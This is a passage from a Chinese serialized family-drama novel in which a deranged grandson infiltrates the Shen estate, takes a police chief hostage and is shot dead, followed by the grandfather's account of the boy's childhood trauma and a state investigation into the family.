只见原本应该深度昏迷的沈庄,不知何时已经睁开了眼睛。 那双眼睛里没有丝毫刚醒的迷茫,只有一片沉静如水的清明和洞悉一切的锐利。 他缓缓地支撑着坐起身来,目光平静地看着孟医生。 "只是,我以为你这次也会像十年前一样,尚有一丝良心未泯。" "爷、爷爷?!" "爸!" 傅绥尔和沈眠枝几乎是失声惊呼,沈娇更是不敢相信自己的眼睛。 孟医生猛地抬头,对上沈庄那双仿佛能看透人心的眼睛,浑身剧震:"您......您说什么?" 最后一丝侥幸也彻底粉碎。原来,自己所有的罪恶和纠结,早已被看在眼里。 沈庄眼里满是疲惫:"十年前,你换了药,所以我才有惊无险过了那道坎,对吗?" 孟医生瞬间瘫软在地:"您早就知道是我了?" 沈庄摇头:"当时没有,但后来追查了五年,最后才确定是你。" "那您为什么......" 沈庄眼神忽然放空,整个人都苍老了:"大概犟吧,我沈庄不愿意相信,我真的罪恶到我的孩子会亲自了结我。所以,才想用这条老命去赌一次真相。" 除了他的孩子,他这一生从未有过妇人之仁,所以当他听见沈谦的名字时,心如刀绞如坠地狱。 * 沈园主厅。 姜花衫:"我觉得蔡署长说的对,虽说沈园有自己的安防,但沈年杀心重难保不会出意外,还是让警署厅跟着沈家保镖搜一次园比较妥当。" "......"沈兰晞面无表情地看着她。 蔡署长也愣了愣,他哪敢有这种奢望,连忙摆手:"我们守着门外就行,沈园有沈园的规矩不便破坏。" "没什么不便。规矩是死的,人是活的,抓住罪犯最重要,是吧,兰晞哥。" 沈兰晞,"......" 蔡署长看着一直沉默的沈兰晞,莫名紧张了起来。 这沈家太子爷是怎么回事?刚才在门口不是还挺有架势的,怎么现在任姜小姐说什么都不回应,难不成是对他有意见? "不行!开什么玩笑,沈园什么地方,怎么能允许外人随便进入?" 沈家一行人还在厅外就听见了里面的议论,沈渊大为不满,人还没进厅,反对的声音就先一步到了。 姜花衫循声看去,只见沈渊当先,与其他人鱼贯而入。 沈渊目光在厅内环伺了一圈,冷着脸:"蔡署长带这么多人上门有何贵干啊?" 蔡严心知眼前每一个他都得罪不起,立马起身说明原因。 当听说沈谦、姚歌被沈年杀害,沈年潜入沈园时,所有人同时一震,难以置信地看向沈兰晞。 沈娥两眼一黑,直接晕了过去。 就在这时,厅外传来一阵急促慌乱的脚步声,高止几乎是跑着凑到沈兰晞跟前。 "少、少爷!好像......好像有人潜进来了!" "!"沈兰晞眉心一跳,一脸错愕。 沈园固若金汤,沈年一个人怎么可能进园? 蓦地,他想到什么,脸色骤变,抬眸看向蔡严:"带着你的人,跟我来。" 蔡严还没反应过来,姜花衫一把拉住沈兰晞的胳膊:"是不是沈年进园了?" 沈兰晞点头:"你待在这,哪都......" 姜花衫脑子嗡的一片空白。 怎么会这样?沈年怎么可能绕过前院直接潜入后院,到底是哪个环节出了问题? 不等沈兰晞说完,她立马反应过来,调转方向二话不说向沁园冲去。 "衫衫!" 沈归灵反应最快,眼看拉不回姜花衫,立马跟上她的脚步。 * 与此同时,一道黑影,如同融入夜色的鬼魅,悄无声息地避开了几处明岗暗哨,终于停在沁园的侧门外。 沈年对这座园子的熟悉程度远超外人想象,他知道哪里是视觉死角,哪条小径罕有人至,如若无人之境横跨了半座沁园。 他路过了牡丹厅,踩死了老爷子最爱的几株花苗,有阿姨发现花厅有人影晃动,上前察看时被他直接掐断了脖子。他如入无人之境,直到路过一块种满胡萝卜的菜地。 那是一片不大却打理得极其整齐的菜畦,翠绿的叶子在清冷的月光下舒展着,透露着与这血腥夜晚格格不入的勃勃生机。 沈年不由自主地顿住了,染血的瞳孔微微收缩,视线凝固在那片胡萝卜地上,疯狂的眼神里闪过一丝极其短暂的茫然,仿佛被什么尖锐的东西猝不及防地刺了一下。 "呵......呵呵......" 忽然!沈年低低地笑了起来,笑声在寂静的夜里显得异常诡异和悲凉。 "爷爷!!" 这时,一道清亮的惊呼划破了沁园的寂静。 姜花衫不顾一切地冲进沁园,目光焦急地扫视着主屋的方向。 就在她声音响起的同一瞬间,那道隐匿在菜地旁的黑影如同受惊的毒蛇,倏地缩回了獠牙,敏捷地侧身隐入一丛茂密的竹影之后。 姜花衫! 沈年咬牙切齿,手中的枪悄无声息地抬起,就在扣下扳机的千钧一发之际—— "吱呀"—— 主屋那扇厚重的木门从里面被缓缓推开。 沈庄的身影出现在门口,他一脸温和,朝姜花衫招手,那笑容一看就是发自内心的喜爱。 ...... 第880章 您为什么不欢迎我 沈年如同被定下了束身咒,全身的肌肉,几乎瞬间僵死凝固。 上一秒还盈满杀戮的瞳孔,此刻骤然收缩成两点,所有的焦距都被门口那个身影牢牢攫取。 沈庄站在门口,穿了一身惯常的深色家居服,神态安详,像极了若干年前的一个普通的夜晚。那时候,他也是这么出来迎接他疼爱的小辈的。 沈年手中的枪依旧举着,但瞄准的信念却在这一刻土崩瓦解。枪口微微颤抖着,不是因为目标的移动,而是因为他持枪的手正在失控。 屋内的暖光在沈庄周身勾勒出一圈柔和的光晕,他温和看着姜花衫,“怎么了?咋咋呼呼的?” 姜花衫没想到老爷子竟然自己下床走了出来,她一脸惊奇,搀扶着沈庄的胳膊,“爷爷,您没事吧?我听说您晕倒了。” 沈庄摇头,“没事。” 与此同时,主屋的人听见动静,相继走了出来。 傅绥尔小跑走到姜花衫跟前,眼神冰冷扫向角落,还没等两人交流沈兰晞带着沈家众人和蔡严一并进了沁园。 他什么话都没说,直接给了蔡严一个眼神,蔡严会意,立马吩咐下属跟着高止一起搜园。 “你们做什么?”沈娇不明缘由,冷声呵斥。 蔡严略有迟疑,沈兰晞直接上前拦下沈娇。 “姑姑,稍安勿躁。” 蔡严见状立马有了底气,对着沈庄恭敬点了点头,领着下属冲进了花厅。 沈庄脸色凝重,他并不怀疑沈兰晞,相反,这是他教养出来的孩子,他比任何人都相信沈兰晞的决策。 所以,他已经反应过来了,沈家一定是发生了什么了不得的大事。 “兰晞?” 沈兰晞上前,先看了姜花衫一眼,才轻声回应,“爷爷,的确是出了大事,但现在情况紧急,请容许我稍后解释。” 沈娇脸色微动,思忖片刻便也没有继续纠缠。 孟医生浑浑噩噩,扶着门框勉强跨过门槛,等回过神,发现整个沁园围满了人,除了沈园的保镖甚至还有警署厅的人。 他顿时脸色苍白,狼狈地跌倒在地。 沈知礼犹豫片刻,上前轻轻托起孟医生。 这突如其来的支撑让孟医生心头猛地一颤,他如同惊弓之鸟仓皇扭头,待发现是沈知礼时,神情有些错愣。 沈知礼扶着他起身,小声道,“您其实也不想杀老爷子吧?您给我的那本西学医术里就有融合剂的概念。 当初我之所以没有诊断出问题,是因为老爷子的身体已经被暂时调理好了。而脉搏的乱象只有在被激发时才能被发现。” “我一直守在沁园,您不仅没有对我防备,要教我西医启蒙。您其实也是想救人的?对吗?” 孟听学从未想过,他隐藏的心迹竟然被一个少年洞悉了。 他没有辩解,因为想救人是真,但想杀人也是真。早在他给老爷子身体注入第一剂毒药时就洗不白了。 但他很感谢沈知礼在这个时候还愿意扶他一把,孟听学小声道:“小礼,医药房第三个柜子里是我一生的参学,医道之路,贵在坚持,望你前途坦荡!” 沈知礼皱了皱眉,“您虽然做错了事,但罪不至死,老爷子是明理的人,孟医生您还有机会。” 孟医生摇了摇头,早在他说出沈谦的名字时,他就没有机会了。 “厅里……厅里有死人!” 突然,一声急促而惊骇的声音骤然响起,一名警员从牡丹厅方向跑了出来。 “什么?!” 众人失声惊呼。 沈庄眉头紧锁,沉稳的眼神瞬间锐利如鹰。 姜花衫下意识地抓紧了沈庄的胳膊。 沈归灵和沈兰晞一步上前,将姜花衫和沈庄更严密地护在身后,冰冷的目光如探照灯般扫视整个庭院。 “戒严!封锁所有出口!任何人不得随意走动!” 蔡严反应极快,立刻厉声下令,自己也拔出了配枪,神情紧绷到了极点。 一时之间,沁园内风声鹤唳。 警署厅的人迅速行动,形成警戒圈,将主屋前的众人隐隐包围在中心,气氛瞬间降至冰点。 “搜!仔仔细细,每个角落都不要放过!” 蔡严和高止兵分两路,呈包抄方式向四周扩散。 混乱中,无人注意到,那片茂密的竹影之下,一双毒蛇般的眼睛正悄然凝视着众人。 眼前的情况,被发现是迟早的事。 沈年不急不慢,在混乱的人群中急速扫视,很快锁定了目标。 他看准时机,从竹影中电射而出!转眼以对地形了如指掌的优势穿越了半条长廊! 蔡严只觉得脑后恶风袭来,身为警察的直觉让他下意识想要转身格挡,但已经太晚了! 一只冰冷如铁钳般的手猛地从后方扼住了他的咽喉,巨大的力量让他瞬间窒息,同时,一个坚硬冰冷的物体死死抵在了他的太阳穴上! “都别动!” 沈年嘶哑阴戾的声音在蔡严耳边响起,如同地狱传来的丧钟,“谁敢动,我就打爆他的头!” 这一切发生得太快,从黑影暴起到蔡严被制,不过呼吸之间。 等到众人反应过来,局势已然不可扭转。 全场瞬间死寂。 所有人的动作都停滞了,警察们举着枪,却不敢扣动扳机,只能眼睁睁看着长官被挟持。 沈年!? 沈家在看见沈年露面的瞬间顿时脸色大变。 沈庄微微眯眼,目光穿透人群,第一次,清晰地毫无阻碍地落在了实处。 他的脸上看不出喜怒,只有深不见底的沉凝。 沈年狞笑着,用力手臂死死勒着蔡严的脖子,“爷爷,我回来了!您为什么不欢迎我?” 他的声音嘶哑,带着一种扭曲的亢奋,目光死死盯在沈庄身上,仿佛在场的其他人都不存在一般。 …… 第881章 可恨之人必有可怜之处 死寂之中,只有夜风吹过竹叶的沙沙声,以及蔡严艰难痛苦的喘息。 沈庄闭了闭眼,微微抬手,止住了身边蠢蠢欲动的沈兰晞和沈归灵。 他向前迈了半步,将自己更清晰地暴露在沈年的视线里,那双饱经风霜的眼睛平静无波,深邃得如同不见底的寒潭。 “沈年。” 沈庄开口,声音不高,却压下了现场的躁动与不安,“放开蔡厅长。” 沈年充耳不闻,嘴角时不时抽搐,“不行!放开他我就什么都做不了了!爷爷,您让他们走,我有话跟您说。” 姜花衫皱了皱眉,想也没想一把拉着沈庄的胳膊。 沈年见状,情绪骤然激动,勒着蔡严的手臂又收紧了几分,用枪指着姜花衫,“滚开!” 沈归灵和沈兰晞脸色微变,正要上前,却被沈庄捷足先登。他往前一步,用身体挡住了姜花衫,“阿年,不要迁怒别人。” 沈年却像是听到了什么天大的笑话,猛地爆发出一阵尖锐的冷笑。 “又是这句话!可是明明都是他们的错啊!我为什么不能迁怒!还有爷爷您!兰园明明是您答应给我的家,为什么最后要让给沈兰晞?!” “为什么!!!我就是讨厌他们,我要杀了他们!全部杀死!” 沈年的狂笑与嘶吼在庭院中回荡,如同困兽最后的悲鸣。 “唔唔……”蔡严在沈年的钳制下脸色由青转紫,挣扎的力道逐渐微弱。 蔡严是A国警署厅总署长,如果在沈家出事,对沈家来说会是个大麻烦,作为家族继承人,沈兰晞绝不会允许这样的事发生。 他不动声色看了沈庄一眼,见沈庄并无谋划,思忖片刻转眸看向人群里的高止。 沈年连父母都杀,已经入魔,留着也只会是祸害。 高止会意,悄然退出人群。 沈归灵一直留心沈兰晞的举动,眼看沈兰晞已经出手,默默往姜花衫身边靠近。 沈年的癫狂在所有人看来已然是无可救药,就在大家都以为他会继续做出更极端的举动时,那刺耳的狂笑声却戛然而止。 沈年脸上的肌肉抽动了几下,弑杀的神色如同潮水般褪去,取而代之的是一种近乎死寂的平静。 “爷爷……”他死死地盯着沈庄,声音变得异常低沉,甚至还有一丝诡异的温和。 “您过来啊~您要是不过来,我就真的杀了他了!您别不信,我已经杀了姚歌和沈谦了,再杀一个也无所谓了。” “姚歌”和“沈谦”这两个名字如同两道惊雷,猝然劈落在寂静的庭院里! 沈庄脸上仿佛永恒不变的沉静面具,终于出现了一道清晰的裂痕。 他下意识转头看向沈兰晞,像是求证什么。 沈兰晞眸光极淡,他原本不想在这个节骨眼提及这件事,但隐瞒也已经是不可能的了。 沈庄心中最后一丝侥幸彻底湮灭,他缓缓抬步,用惯常的伪装逼退了眼角的酸涩…… “不要!爷爷!”姜花衫看出老爷子的用意,死死拉住他,拼命摇头。 沈庄不敢回头,沉默片刻,轻轻拍了拍姜花衫的手示意她松手。 姜花衫越拽越紧,可渐渐地,她感觉到老爷子的手抖得厉害。 她猛地一惊,这才意识到原来爷爷也会害怕,她抬眸,看向沈庄的身影。 沈庄依旧没有回头,因为这是他维持大山巍峨的最后手段。 姜花衫看着自己收拢的指尖,忽然明白过来,她有她的路,爷爷也有爷爷的道,她不能因为自己的期盼阻止爷爷走他的道。 她一下失去了阻止的力量,缓缓卸了力。 沈庄踏着清冷的月光,一步一步走向沈年。他的步伐很稳,仿佛不是走向一个弑亲癫狂的凶徒,而是走向一个许久不见的故人。 夜风吹起他花白的鬓发,深色家居服在朦胧光线下显得格外肃穆。 所有人的心都提到了嗓子眼,没有人知道沈庄在固执什么? 沈年眼里闪烁着奇异的光,这是一种即将达成某种扭曲愿望的兴奋。 他喃喃道:“对……就这样,爷爷,再近一点……” 沈庄在距离他大约三步远的地方停住了脚步。 这个距离,足以让双方清晰地看到彼此脸上的每一丝表情,也正在手枪的有效射程之内,无比危险。 “阿年” 沈庄平静沉然,声音带着一种奇异的安抚,“放开蔡署长。” 沈年咧开嘴,诡异地乖巧:“好啊……” 说着,他猛地将几乎虚脱的蔡严往旁边狠狠一推,同时以迅雷不及掩耳之势举起手枪瞄准了沈庄的眉心! “爷爷!” 众人脸色惊变,姜花衫想也没想扑身冲向沈庄。 然而,变故比所有人的反应都快…… “砰!” 一声枪响,尖锐地撕裂了夜的宁静! 就在沈年抬枪扣动扳机的同一瞬间,另一声更加沉闷、更具穿透力的枪声,从侧后方游廊的阴影高处骤然响起! “啾——” 那是经过消音的狙击步枪特有的声音。 时间仿佛在这一刻被拉长。 几乎是同一时间,由沈年射出的子弹穿过沈庄耳侧,直接击中了十米之外的孟医生。 孟医生的头颅猛地向后一仰,额间赫然出现一个血洞,他甚至来不及发出任何声音就已经毙命。 而一枚狙击子弹,以肉眼无法捕捉的速度破空而来,精准无比的没入了沈年的右边胸腔位置! 沈年脸色极其安静,他低下头看着自己胸前迅速裂开的那片深色痕迹,当即选择了放弃所有支撑,朝着近在咫尺的沈庄,直直地扑了过去。 “阿年!” 沈庄几乎是下意识地伸出了双臂,一把将沈年接在了怀里。 “爷爷!”沈年气若游丝,用尽所有力气摸向怀中。 蔡严距离得近,见沈年衣下藏着一个长状物,大喊,“他怀里还有枪!” 说着,立马捡起沈年掉落的枪,对着他的左心口又开了一枪。 “不要……”沈庄话还没说出口。 “砰——” 又一声枪声。 沈年左心口爆出了一滩血雾。 他眨了眨眼,探向衣侧的手顺势滑落。 不是枪,是一个沾满泥土的胡萝卜。 沈庄在看见沈年手里的胡萝卜时,身体晃了晃,眸光瞬间失色。 沈年咽下血水,艰涩道,“爷爷,十年前的毒不是……不是我!您……您为什么不信?为……什么……” …… 第882章 他怎么可能不疯 沈年最终在沈庄怀里断了气,他的死由姜花衫主导,所以绝无更改的可能。 沈家一夜之间死了四个人,即便沈庄曾经是无所不能的定海神针,在这一刻,也隐隐有了坍塌之相。 沈兰晞原以为老爷子会追问沈谦和姚歌的事,但并没有。 在沈年彻底闭上眼后,老爷子捡起地上的胡萝卜,只交代了一声好好安置,便起身回了屋。 所有人都看出了沈庄在强撑,几乎下意识地想跟上前安抚,但沈庄却像是背后长了眼睛,直接婉拒了众人。 他缓缓跨过门槛,忽然又停了下来,“小花儿留下,其余人该做什么就做什么?” 这是一个家主最后的坚持了。 众人脸色微愣,不约而同看向姜花衫,但这个节骨眼,即便有人嫉妒也不敢表现出来,只能默默遵循。 沈娇放心不下,小声叮嘱姜花衫:“孟医生已经坦白在背后指使他下毒的凶手就是沈谦,老爷子还没缓过劲,沈年的事又来了。衫衫……” 她不由看向里屋的暖光,声音哽咽,“老爷子心里其实比谁都苦。” 姜花衫点了点头,小跑跟进主屋,轻轻掩上门,将外间的混乱与血腥彻底隔绝开来。 屋内只亮着一盏落地灯,昏黄的光线勾勒出沈庄坐在太师椅上的侧影。 他微微佝偻着背,手里正无意识地摩挲着那根还沾了些许泥土的胡萝卜。 他目光落在虚空处,不知在想什么。 姜花衫走到老人身边,她没有说话,只是安静地陪着。 空气中弥漫着一种沉重而悲伤的静默。 过了好一会儿,沈庄才缓缓开口,声音带着一丝不易察觉的沙哑和疲惫:“那片胡萝卜地……还是他小时候,我带着他种的。” 姜花衫心中一紧,知道老爷子说的是沈年。她没有打断,只是静静地听着。 “那时候,他才这么点高,” 沈庄用手比划了一个矮矮的高度,嘴角牵起一丝怀念的弧度,很是缅怀,“他小时候特别乖,说话细声细气,笑起来还有一颗小虎牙。” 姜花衫心里不是滋味,因为她很难把这样的形象代入后来的沈年。 但她知道,爷爷不会骗人,也正是因为她过于盲目才让爷爷经历了今晚的梦魇。 “爷爷……对不起……” 沈庄摇摇头,轻叹了一声,“不用说对不起,不是你的错。我与阿年之间的错误并非是你造成的。爷爷留下你,只是想和你说说心里话。” 闻言,姜花衫立马抹去眼角的湿润。 沈庄的目光柔和了些许。 他沉默了片刻,从身旁小几的抽屉深处,取出了一个样式古朴的檀木小盒。盒子打开,里面并非什么贵重珠宝,而是整齐叠放着一些旧物,最上面是一本边缘微微泛黄的相册。 老爷子小心翼翼取出相册,直接略过前面几页,手指在其中一页上停住,轻轻推到了姜花衫面前。 “你看……”他的声音带着一种遥远的温和,“这就是阿年小时候,是不是像我说的一样?” 姜花衫凑近看去。 照片已经有些褪色,但依然清晰。 背景是沁园的菜地,阳光很好。 一个约莫五六岁的小男孩穿着干净的小衬衫和背带裤,他怀里抱着一只纯白的垂耳兔,头发软软地搭在额前,正对着镜头笑得灿烂,果然露出一颗小小的、可爱的虎牙。 那双眼睛亮晶晶的,满是纯真和快乐,与长大后那双偏执疯狂的血色瞳孔简直判若两人。 “他是……沈年?”姜花衫的声音不自觉地放轻了,眼里满是惊讶。 “是啊……”沈庄的手指轻轻拂过照片上小男孩的笑脸,眼神悠远,“他是阿年,他怀里抱着的那只小兔子是我送给阿年的礼物,阿年给它取名叫年年。” 他的语气里带着深深的怀念,“阿年是沈园第一个孩子,他没有兄弟姐妹,所以他一直把年年当成他的第一个朋友。沈园那块菜地,也是他为年年央求我开垦的。” “阿年很乖的,他每天会按时给萝卜浇水,除草,施肥,等到丰收的季节,他和年年就一起蹲在田边看着我一颗一颗往外拔萝卜……” 沈庄说话时,粗粝的手指细细描摹着胡萝卜的轮廓,仿佛透过它,看到了许多年前那个充满期待的小小身影。 姜花衫怎么都没有想到,她以为暗藏杀机的人,竟然曾经是爷爷的小天使。 难怪爷爷对于沈年,始终没有狠下过心。而沈年临死前,拼尽全力也要杀了孟医生。 其实,沈年也没有真正放下过爷爷吧? “爷爷,那为什么……” 为什么后来的故事却变得面目全非了? 姜花衫想不明白。 “为什么……” 沈庄重复着她未尽的问题,声音低沉得如同浸透了夜露,“因为我没有保护好孩子……” “老大媳妇嫌弃阿年性子软弱没有担当,觉得是我惯怪了孩子。虽然她没有明说,但还是表示出了要自己抚养的意愿。那时我想:我毕竟不是孩子的亲生父母,总不能驳了老大媳妇当母亲的意愿。所以,即便阿年表现出了不愿意,但我还是让他跟自己的母亲回了家。” “恰巧那会儿正是阿玺事业上升期,为了家族利益,我一直在外奔波为阿玺谋划布局,期间阿年两次偷跑回来,我都不在鲸港。后来听沈执说,阿年抱着血肉模糊的年年在沁园等了我一夜,最终晕死过去被老大媳妇带走了。” “收消息第二天我从南湾赶回鲸港,可那时阿年已经高烧了三天三夜,我回去守了他一夜,他才终于醒了过来。可那次之后,他突然性情大变,暴躁易怒,完全不能沟通。” “医生说,阿年是病了……” 说到这,沈庄的声音一字一句都在颤抖。 “是受了巨大刺激和创伤后引发的……严重心理障碍,伴随着解离症状和偏执性思维。用专业些的话说,可能是……创伤后应激障碍,并且逐渐发展出了偏执型人格障碍的特质。” 姜花衫怔愣,忽然有些难受,“是因为年年吗?” 沈庄点头,目光再次落回照片上那个抱着兔子的乖孩子,“我得知情况后,派人去查了阿年这半年的生活才知道……阿年回去后,不跟愿意和人沟通,吵着要回沈园。老大媳妇无奈,只能给他弄了个菜园。但阿年每天就种萝卜,跟年年说话,老大媳妇规劝不了,一怒之下逼着孩子活剥了年年的皮。” “那是他第一个朋友,他的母亲逼他杀死了他的第一个朋友……” “他怎么可能不疯?” …… 第883章 沈家没有弃子 沈庄说到这,已经泪流满面。 他这一生所负皆是自己的选择,但唯独沈年是个意外。 他从未想过一次放手,就毁了沈年的一生。所以即便后来他想过弥补,可沈年行事越发狠毒凶残,他们再也回不到从前。 听了沈年的故事,姜花衫的心情并不轻松,她终于理解了沈庄的不忍和偏颇。 因为见过沈年最乖巧的模样,所以爷爷总觉得沈年还能回来。 “爷爷,沈年在临死前拼尽全力狙杀孟医生,我想,他应该也知道了孟医生就是沈谦安插在您身边的暗线,他在最后一刻选择了保护您,在他心里,一定没有怨恨过您。” 沈庄摇摇头,嘴角牵起一抹极其苦涩的弧度,那笑容比哭更让人心酸。 “就是因为这样,我才觉得自己罪孽深重。” “爷爷……”姜花衫微愣,显然是没想到这句话竟然加深了老爷子的悲痛。 沈庄紧紧攥紧了手中的胡萝卜,那细小的根茎几乎要被他捏断。 沉默片刻,他哑声开口,“阿年生病之后,不愿意配合治疗,也不愿意吃药,他选择了用极度自残的方式争取精神自由,最终长成了与年幼的自己完全背道而驰的大人。” “阿年十八岁那年,犯下高架飙车撞人案,他愈发疯狂视人命如草芥,我也终于心灰意冷,决定不顾他的意愿强行送他出国接受治疗。” “可就在我宣布决定当晚,有人在我饮食中投毒,那次我毫无准备,要不是老天垂青早就已经撒手人寰。醒来之后,我让沈执彻查中毒之事。不料,老大竟然亲自上门请罪,告诉我是阿年下的手。” “我当时因飙车案对阿年心灰意冷,虎毒不食子,再加上是老大亲自指认,我便深信不疑,直接给阿年定了罪,告诉他,如果不好好配合吃药,就永远都不要回来。” “原来……” 姜花衫心中五味杂陈,难怪沈年至死都还在澄清,原来压垮他的最后一根稻草竟然是爷爷的误会。 但她还是很心疼沈庄,因为她知道,爷爷这辈子可能都走不出来了。 沈年用最后一枪证明了自己,而爷爷却要永远缅怀沈年自证的最后一枪。 沈庄深深吸了一口气,他用手背重重抹去脸上纵横的泪痕,努力挺直了些许佝偻的脊背。 “小花儿……” 他的声音依旧沙哑,却带上了一种近乎决绝的平静,“爷爷……可能要跟你说声对不起了。” 姜花衫心头一跳,“爷爷,您别这么说。” 沈庄语气萧索:“爷爷知道,你为沈家,为我……筹划了很多,也辛苦了很久。尤其是今晚……你做得很好。果断,决绝,爷爷都看在眼里。” “但……爷爷有瑕。阿年这件事,是爷爷有错在先,是爷爷先松开了阿年的手,是爷爷先对不起他的。所以,这次爷爷不能再轻易放手了,沈家没有弃子,阿年从来不是沈家的弃子,即便他死了也不是……” 姜花衫从未对沈家没有弃子这句话有过这么深的感慨,她不觉对沈庄肃然起敬。 傅家在傅嘉明死之后,将所有罪名推给了一个死人。明明沈家也可以这么做,但爷爷却还想保全沈年死后一丝体面,即便沈年再也不会知道。 但爷爷又怕她觉得委屈,特意提前告知她。 姜花衫点了点头,眼神诚恳坦荡,“爷爷做爷爷觉得对的事,我做我觉得对的事。我们殊途同归。” 沈庄眼角的晶莹缓缓落下,哽咽着回应,“殊途同归。” * 沈家一夜死了四个人,但最担惊受怕反而不是沈家人,而是蔡严。 他那会儿刚从死里逃生恐惧中解脱,还没回过神就看见沈年‘伺机而动’,难免警惕过头做出了错误的判断。 虽说,他有足够的证据解释行为漏洞,但沈家人未必买单。 是故,警署厅的警员们已经收队,蔡严依旧守在沈园主厅等着沈家人的态度。 沈渊平时口口声声喊着巴不得沈谦死,但当沈谦真的死了,他却全然没有想象中的畅快。 与沈娥商议过后,两人决定先去鲸港法医中心接沈谦回家,于是便主动来前厅与蔡严商议。 蔡严唯恐沈家人对他不满,对于沈渊和沈娥的要求有求必应,立马放了通行证。 沈渊和沈娇得了应允,转头出了沈园。 * 与此同时,后院凉亭。 夜风穿过竹梢,带起簌簌轻响,却吹不散亭中凝滞的沉重。 沈兰晞背对着沈归灵,望着主屋方向昏暗的橙光,良久才缓缓转过身。 月光落在他清隽的脸上,镀上一层冷硬的银边,那双淡薄不惊的眼眸,此刻锐利如刀,直直刺向静立一旁的沈归灵。 “这就是你想要?”沈兰晞的声音不高,却带着山雨欲来的压迫感,“沈谦、姚歌、沈年都死了,现在南湾的一切理所当然成了你的囊中之物,我还真是小看你了,你还真是机关算尽,每一个人都不放过。” 沈归灵迎着他的目光,脸上没什么表情,他沉默着,没有立刻回答。 “怎么?敢做不敢认?” 沈归灵笑了笑,目光毫不避讳,“沈兰晞,你是不是忘了,让人去高处狙击沈年的可不是我。” 沈兰晞:“沈年为什么会突然失控?沈公馆为什么会连一个沈年都守不住?也不是你?沈归灵,你真以为自己做的天衣无缝吗?” 沈归灵嗤笑了一声,“怎么会?你不是去了南湾吗?不是早就知道我的秘密了吗?你隐忍着不发,不就是等着我露出狐狸尾巴?” “沈兰晞,恭喜啊,你现在可以光明正大赶我走了。” …… 第884章 沈家的危机 天光刺破云层,却照不进笼罩在沈园上空的沉重阴霾。 一夜之间,沈家惊变的新闻如同投入滚油中的冰水,在A国乃至国际上都炸开了锅。各大主流媒体的头版头条,都被"沈年"、"弑母杀父"、"豪门血案"这些触目惊心的词汇占据。 沈谦和姚歌的死被悉数归咎于沈年身上,弑母杀父的行为让他被标记成了丧心病狂的疯子。尽管沈年本人已然伏诛,但讨伐的声浪并未因此停息,反而因其死亡而变得更加汹涌和无所顾忌。 很快,风暴迅速从对沈年个人的谴责,蔓延到了对整个沈氏家族的质疑。 "上梁不正下梁歪"、"如此家风,怎能屹立不倒?"类似的诛心之论在街头巷尾、网络论坛上疯狂传播。沈年过往的种种劣迹被无限放大,与沈家一贯神秘低调的作风联系在一起,编织出一张充满阴谋论的网。 越来越多的人开始怀疑沈年死亡的真实性。 "哪有那么巧?刚挟持了警署厅长就被一枪毙命?" "灭口!这绝对是沈家为了掩盖更大丑闻的借口!" "沈年说不定只是替罪羊,真正的黑手还藏在沈园深处!" 一种关于沈家是"暗黑家族",内部充斥着权斗、背叛与血腥清洗的论调开始甚嚣尘上。愤怒与猎奇交织,推动着舆论不断发酵升级。民众的呼声逐渐汇聚成一股强大的力量,要求彻查沈家,要求真相。 在强大的民意推动下,国家安全局出手了。 事件发酵的第七十二小时,国家安全局发布了正式声明。 声明强调:针对社会各界的广泛关切与质疑,该局高度重视沈氏家族事件,已依据相关法律法规启动特别调查程序。 发言人表示,将组建高规格调查组,对沈氏家族及其关联企业在关键领域的运营状况、资金往来及人员变动等进行全面审查。声明郑重承诺,调查将秉持"不遮掩、不护短、不姑息"的原则,坚决查清事实真相,给社会公众一个负责任的交代,切实维护社会公平正义。 这份措辞严厉的声明,标志着这个百年世家正式被纳入国家层面的审查视野。 * 声明发布后次日,三辆黑色轿车无声地驶入沈园,停在前坪。车上下来三位身着深色正装的男子,为首的是一位年约五旬、气质沉稳的高级调查员,身后跟着两名较年轻的助手。 他们步伐一致,神情肃穆,肩头仿佛压着无形的重量。 沈庄早已等在厅内。一夜之间,他已经恢复了一家之主的镇定,穿着熨帖的深色中式上衣,银发梳理得一丝不苟。沈庄并未出门迎接,只是静立在主厅中央,如同历经风霜的山岳,自有其不可动摇的威仪。 三位国安局代表步入客厅,为首的调查员在看到沈庄的瞬间,脚步几不可察地微微一顿。 他率先上前,并非出示证件,而是微微颔首,态度不卑不亢,却带着显而易见的敬意:"沈老先生,打扰了。国安局特别调查组,奉命前来。" 他的语气严肃,却绝非审问犯人的口吻,更像是在与一位值得尊重的长者进行必要的公务沟通。 他身后的两名年轻助手也下意识地收敛了气息,目光谨慎,不敢有丝毫怠慢。 空气中弥漫着一种奇特的氛围——他们代表着国家权力前来审查,却在这个老人面前,不由自主地流露出对这位掌舵沈家数十年的老家主的某种敬重。 沈庄目光平静地扫过三人,微微抬手示意:"郑松,关门。" 厅外的天光,随着门扉的合拢,被一寸寸挤压、收窄。光线逐渐退却,如同潮水落回大海…… * 偏厅内的气氛比主厅更加压抑。 沈家核心成员几乎都聚在此处,或坐或立,无人交谈。只有偶尔响起的瓷器轻碰声和细微的呼吸声,衬得空间愈发空旷死寂。 沈娇端坐在紫檀扶手椅上,指尖无意识地捻着腕间的帝王绿翡翠,眉头紧锁。 沈让看了对面的二房一眼,侧过身小声同她说话:"国安局的人来得太快,也不知道老爷子会怎么应对?" 沈娇摇了摇头。她倒不担心这个,老爷子带领沈家屹立A国五十年,不会这么轻易就被打倒。她只是忽然明白了,她的父亲为了沈家到底承受了多少。 傅绥尔看着对面阴沉的气息,默默靠近姜花衫:"兰晞哥和阿灵哥怎么了?我怎么觉得怪怪的?" 姜花衫一直看着主厅方向,昨晚沈庄已经透露了不会放弃沈年,应该是已经想到了今天的局面。被傅绥尔这么一提醒,才转头打量起旁边两人。 沈归灵独自一人坐在角落,沈兰晞与他对立而坐。两人明明相隔不远,却给人感觉直接隔了个水火不容的屏障。 姜花衫:"他们俩不一直都这样吗?" 傅绥尔皱了皱眉:"兰晞哥的确是,但阿灵哥……" 姜花衫挑眉。是了,沈归灵太会演,突然不演大家都觉得违和了。 忽然,她愣了愣,这才惊觉自己忽视了什么? 她的注意力一直都在沈年的剧情点,所以根本没有注意到沈归灵的变化。在她看来,沈归灵一直都是那样,所以并无违和。可对于其他人,可就不这么想了。 沈归灵察觉到她的目光,微微收敛了神情,转头看向窗外。 沈渊独自一人坐在窗下,脸色极其严肃。 一旦沈家全员被安全局盯上,他那些生意往来的账目、名单极有可能会被泄露。水至清则无鱼,老爷子一定明白这个道理,只是不知道这次老爷子会怎么解决这次的危机? 沈娥目光在屋里逡巡了一圈,犹豫片刻,起身走向沈归灵。 "阿灵。" 沈归灵抬眸,扫了沈娥一眼才慢慢起身。 "以后你要有什么难处,记得来萧家。你父亲不在了,你还有姑姑。" 